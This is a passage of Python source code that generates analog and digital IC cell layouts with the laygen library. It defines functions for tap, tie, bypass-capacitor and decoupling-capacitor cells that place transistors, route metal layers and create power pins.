laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=ip0.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VSS1", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS1"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VSS1', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2, netname='VSS')
laygen.pin(name='VSS0', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2, netname='VSS')
def generate_plugged_tap(laygen, objectname_pfix, placement_grid, routing_grid_m1m2,
devname_nmos_tap, devname_pmos_tap, devname_plug, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2=routing_grid_m1m2
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_tap, pg, xy=origin)
iplug0 = laygen.place("I"+objectname_pfix + 'PLUG0', devname_plug, pg, xy=origin)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_tap, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#tap route
xy_tap0 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap0 * np.array([1, 0]), xy1=xy_tap0, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
laygen.via(None, xy_tap0 * np.array([1, 0]), refinstname=ip0.name, gridname=rg_m1m2)
xy_tap1 = laygen.get_template_pin_xy(in0.cellname, 'TAP0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_tap1 * np.array([1, 0]), xy1=xy_tap1, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=in0.name, gridname=rg_m1m2)
laygen.via(None, xy_tap1 * np.array([1, 0]), refinstname=ip0.name, gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in0.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip0.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in0.name)
# power pin
if create_pin==True:
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VDD0"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R"+objectname_pfix+"VSS0"), gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_tie(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
# horizontal route style
# input
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([i, 0]),
)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=ip1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([i, 0]),
)
# vdd/vss
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]),
)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]),
)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S1', refinstindex=np.array([m-1, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([m-1, 0]),
gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='S1', refinstindex=np.array([m-1, 0]),
gridname=rg_m2m3)
rvss = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='S0', refinstindex1=np.array([0, 0]))
rvdd = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S1', refinstindex0=np.array([m-1, 0]),
refinstname1=ip1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
#align output to input pin
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([m-1, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([m-1, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m-1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,refinstindex=np.array([m-1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,refinstindex=np.array([m-1, 0]))
# pin
rvdd0_pin_xy = laygen.get_xy(obj = rvdd, gridname = rg_m2m3_pin, sort=True)
rvss0_pin_xy = laygen.get_xy(obj = rvss, gridname = rg_m2m3_pin, sort=True)
rvdd0_pin_xy[0][1] = rvss0_pin_xy[0][1] - 1
rvdd0_pin_xy[1][1] = rvss0_pin_xy[1][1] + 1
rvss0_pin_xy[0][1] = rvss0_pin_xy[0][1] - 1
rvss0_pin_xy[1][1] = rvss0_pin_xy[1][1] + 1
if create_pin == True:
laygen.pin(name='TIEVDD', layer=laygen.layers['pin'][3], xy=rvdd0_pin_xy, gridname=rg_m2m3_pin, netname='VDD')
laygen.pin(name='TIEVSS', layer=laygen.layers['pin'][3], xy=rvss0_pin_xy, gridname=rg_m2m3_pin, netname='VSS')
# power pin
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R" + objectname_pfix + "VDD0"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R" + objectname_pfix + "VSS0"), gridname = rg_m1m2)
laygen.pin(name='VDD', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2)
laygen.pin(name='VSS', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2)
def generate_tie_wovdd(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body,
m=1, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m=max(1, int(m/2)) #using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in0b = laygen.relplace(name = "I"+objectname_pfix+'N0B', templatename = devname_nmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
in1b = laygen.relplace(name = "I"+objectname_pfix+'N1B', templatename = devname_nmos_body, gridname = pg, refinstname = in0b.name, transform='MX', shape=np.array([m, 1]))
in2b = laygen.relplace(name = "I"+objectname_pfix+'N2B', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1b.name, transform='MX')
# route
# horizontal route style
# input
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([i, 0]),
)
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1b.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=in1b.name, refpinname1='D0', refinstindex1=np.array([i, 0]),
)
# vdd/vss
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]),
)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1b.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1b.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]),
)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1b.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1b.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='S0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S1', refinstindex=np.array([m-1, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='S1', refinstindex=np.array([m-1, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='S0', refinstindex=np.array([m-1, 0]),
gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=in1b.name, refpinname='S1', refinstindex=np.array([m-1, 0]),
gridname=rg_m2m3)
rvss = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S0', refinstindex0=np.array([0, 0]),
refinstname1=in1b.name, refpinname1='S0', refinstindex1=np.array([0, 0]))
rvdd = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='S1', refinstindex0=np.array([m-1, 0]),
refinstname1=in1b.name, refpinname1='S1', refinstindex1=np.array([m-1, 0]))
#align output to input pin
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
laygen.route("R"+objectname_pfix+"VSS1", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0b.name, refinstname1=in2b.name)
laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1b.name, refinstindex0=np.array([i, 0]),
refinstname1=in1b.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1b.name, gridname=rg_m1m2,refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([m-1, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1b.name, refinstindex0=np.array([m-1, 0]),
refinstname1=in1b.name, refinstindex1=np.array([m-1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,refinstindex=np.array([m-1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1b.name, gridname=rg_m1m2,refinstindex=np.array([m-1, 0]))
# pin
rvdd0_pin_xy = laygen.get_xy(obj = rvdd, gridname = rg_m2m3_pin, sort=True)
rvss0_pin_xy = laygen.get_xy(obj = rvss, gridname = rg_m2m3_pin, sort=True)
rvdd0_pin_xy[0][1] = rvss0_pin_xy[0][1] - 1
rvdd0_pin_xy[1][1] = rvss0_pin_xy[1][1] + 1
rvss0_pin_xy[0][1] = rvss0_pin_xy[0][1] - 1
rvss0_pin_xy[1][1] = rvss0_pin_xy[1][1] + 1
if create_pin == True:
laygen.pin(name='TIEVSS2', layer=laygen.layers['pin'][3], xy=rvdd0_pin_xy, gridname=rg_m2m3_pin, netname='VSS')
laygen.pin(name='TIEVSS', layer=laygen.layers['pin'][3], xy=rvss0_pin_xy, gridname=rg_m2m3_pin, netname='VSS')
# power pin
rvdd_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R" + objectname_pfix + "VSS1"), gridname = rg_m1m2)
rvss_pin_xy = laygen.get_xy(obj =laygen.get_rect(name = "R" + objectname_pfix + "VSS0"), gridname = rg_m1m2)
laygen.pin(name='VSS1', layer=laygen.layers['pin'][2], xy=rvdd_pin_xy, gridname=rg_m1m2, netname='VSS')
laygen.pin(name='VSS0', layer=laygen.layers['pin'][2], xy=rvss_pin_xy, gridname=rg_m1m2, netname='VSS')
def generate_bcap(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_space,
m=2, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_space, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_space, gridname = pg, refinstname = ip1.name, transform='MX')
# route
#pdict = [laygen.get_inst_pin_xy(None, None, rg_m1m2, index=np.array([i, 0])) for i in range(m)]
xy_g0 = laygen.get_template_pin_xy(in1.cellname, 'G0', rg_m1m2)[0, :]
xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
if m > 1:
#gate
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0, xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_g0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
rg0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=in1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='G0', gridname=rg_m2m3)
#drain
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0, xy1=xy_d0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_d0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I'], rect_list=[rg0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_dcap(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_space,
m=2, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip1b = laygen.relplace(name = "I"+objectname_pfix+'P1B', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
#pdict = [laygen.get_inst_pin_xy(None, None, rg_m1m2, index=np.array([i, 0])) for i in range(m)]
xy_g0 = laygen.get_template_pin_xy(in1.cellname, 'G0', rg_m1m2)[0, :]
xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
#laygen.route(None, laygen.layers['metal'][1], xy0=xy_g0*np.array([1, 0]), xy1=xy_g0, gridname0=rg_m1m2,
# refinstname0=ip1.name, refinstindex0=np.array([i*2, 0]), via0=[[0, 0]],
# refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_g0*np.array([1, 0]), xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
if m > 1:
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0, xy1=xy_d0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_d0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_dcap2(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=2, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
#pdict = [laygen.get_inst_pin_xy(None, None, rg_m1m2, index=np.array([i, 0])) for i in range(m)]
xy_g0 = laygen.get_template_pin_xy(in1.cellname, 'G0', rg_m1m2)[0, :]
